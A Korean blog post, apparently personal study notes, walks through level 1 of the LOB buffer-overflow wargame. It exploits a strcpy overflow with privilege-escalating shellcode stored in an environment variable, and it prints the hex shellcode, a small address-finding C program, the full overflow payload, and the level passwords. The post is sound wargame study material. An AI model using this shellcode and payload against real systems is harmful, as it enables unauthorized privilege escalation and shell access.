일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
- apolloclient
- 도그존
- 예쁜술집 예술
- 고르드
- 홍대 예술
- 앙버터마카롱
- 운정 소바동
- 비동기배열
- 비동기배열처리방법
- graphql react native
- 홍대 토라비
- graphql with reactnative
- 잠실새내
- 화이트 해커를 위한 웹 해킹의 기술
- 신촌 소문난집
- graphql 400
- 금별맥주
- typescript
- promise메서드
- 홍대 카페 장쌤
- promise처리
- graphql mutation error
- apollo react native
- 잠실새내 도그존
- graphql with RN
- useMutation error
- 지보싶 신촌점
- 화이트해커를 위한 웹 해킹의 기술
- graphql
- 토라비
- Today
- Total
yehey's 공부 노트 \n ο(=•ω<=)ρ⌒☆
LOB 1번 풀이 본문
id: gate
pw: gate
strcpy의 BOF 취약점을 이용해서 공격을 하자
buffer를 넘치게 해서 ret 값을 쉘코드 시작 주소로 바꿔줄 것이다.
쉘코드를 환경변수에 등록해야하는데, bash 쉘을 띄우는 것 뿐만 아니라 권한 상승까지 포함한 쉘 코드를 등록해주어야 한다.
\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80
setreuid(geteuid(), getreuid()), exit(0)까지 포함시킨 쉘코드 (47bytes)
환경변수가 정상적으로 등록이 되었다면 환경변수 주소를 얻어내는 코드를 작성해보자
//addr.c code
#include <stdio.h>
int main(){
printf("%p\n",getenv("SHELL2"));
return 0;
}
코드를 작성했으면 컴파일도 해주고 실행시켜보자
쉘 코드의 시작 주소는 0xbffffc5e이다!
이제 gremlin을 디스어셈블해서 스택구조를 파악해보자
스택 구조는 다음 그림과 같다고 예상할 수 있다. (dummy는 존재하지 않음!)
buffer부터 ret 전인 260바이트를 의미없는 값으로 채워주고 ret에 쉘 코드 시작주소(환경변수 SHELL2 주소)를 입력해주면 gremlin권한의 bash 쉘이 띄워진다!
payload: ./gremlin `python -c 'print "\x90"*260+"\x5e\xfc\xff\xbf"'`
gremlin의 pw: "hello bof world"
'wargame 풀이 > LOB' 카테고리의 다른 글
LOB 6번 풀이 (wolfman) (0) | 2020.11.07 |
---|---|
LOB 5번 풀이 (orc) (0) | 2020.11.06 |
LOB 4번 풀이 (goblin) (0) | 2020.11.02 |
LOB 3번 풀이 (cobolt) (0) | 2020.10.29 |
LOB 2번 풀이 (gremlin) (0) | 2020.10.29 |